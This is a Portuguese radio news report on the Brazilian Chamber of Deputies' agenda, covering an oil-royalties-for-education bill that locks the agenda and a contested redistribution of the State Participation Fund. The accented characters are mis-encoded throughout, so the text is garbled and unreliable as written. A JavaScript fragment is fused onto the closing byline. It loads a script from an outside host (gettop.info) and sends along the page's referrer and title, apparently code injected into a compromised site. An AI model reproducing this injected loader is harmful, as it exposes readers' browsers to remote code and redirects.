A CA?mara comeA�a a semana com a pauta trancada pelo projeto que destina 100% dos recursos dos royalties do petrA?leo para a educaA�A?o. Mas essa votaA�A?o, um compromisso reafirmado pela presidenta Dilma Rousseff, ainda A� incerta. A proposta tranca a pauta porque tem urgA?ncia constitucional, e o relatA?rio ainda nA?o estA? pronto, nem hA? acordo para votaA�A?o.
O PlenA?rio trabalha com prazo curto para outra proposta importante: a que redistribui os recursos do Fundo de ParticipaA�A?o dos Estados. O Supremo Tribunal Federal considerou a legislaA�A?o em vigor do FPE inconstitucional, e deu prazo para que o Congresso votasse outro texto.
Mas essa votaA�A?o promete ser uma batalha no PlenA?rio da CA?mara – um projeto que tratava do tema jA? foi rejeitado pelos deputados, que se dividiram de acordo com os interesses de cada Estado. O Senado enviou nova proposta.
O lA�der do PSB, Beto Albuquerque, afirma que sA? serA? possA�vel votar o projeto com duas condiA�A�es: uma A� que o Executivo retire a urgA?ncia da proposta dos royalties, permitindo que outros projetos de lei sejam votados. Outra A� que nenhum estado se sinta prejudicado.
“Tem que ter convergA?ncia de texto, de propA?sito. Continuar sendo a soluA�A?o tira de um pra dar pra outro, nA?o vai passar. Em nenhuma hipA?tese eu votarei qualquer medida que tire dinheiro do meu estado pra dar pra outro. A� uma questA?o lA?gica, eu estou aqui pra representar as necessidades do meu estado.”
Relator da proposta que foi rejeitada na CA?mara, o deputado JA?lio CA�sar, do PSD do PiauA�, acredita que o novo projeto, com poucas mudanA�as no rateio entre os estados em relaA�A?o ao texto anterior, vai conseguir consenso entre os deputados.
“Os percentuais de crescimento ou decrescimento, a partir de 2016, sA?o prA?ximos de zero. Tanto pra quem ganha quanto pra quem perde. Eu acredito que vamos ter grandes chances de aprovar, uma vez que aquela guerra federativa dos estados do Sul e do Sudeste e mais uns dois estados da regiA?o Norte, acabou.”
Se a urgA?ncia do projeto dos royalties for retirada ou se por acaso o texto for votado, o PlenA?rio fica liberado para votar a redistribuiA�A?o do FPE e mesmo outros projetos, como o que desonera o transporte coletivo municipal.
Caso contrA?rio, os deputados sA? vA?o poder apreciar projetos de decreto, como os que ratificam acordos internacionais, e propostas de emenda A� ConstituiA�A?o, como a que trata do Estatuto do Servidor do JudiciA?rio e a que dA? autonomia para defensorias pA?blicas.
De BrasA�lia, Paula Bittar.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
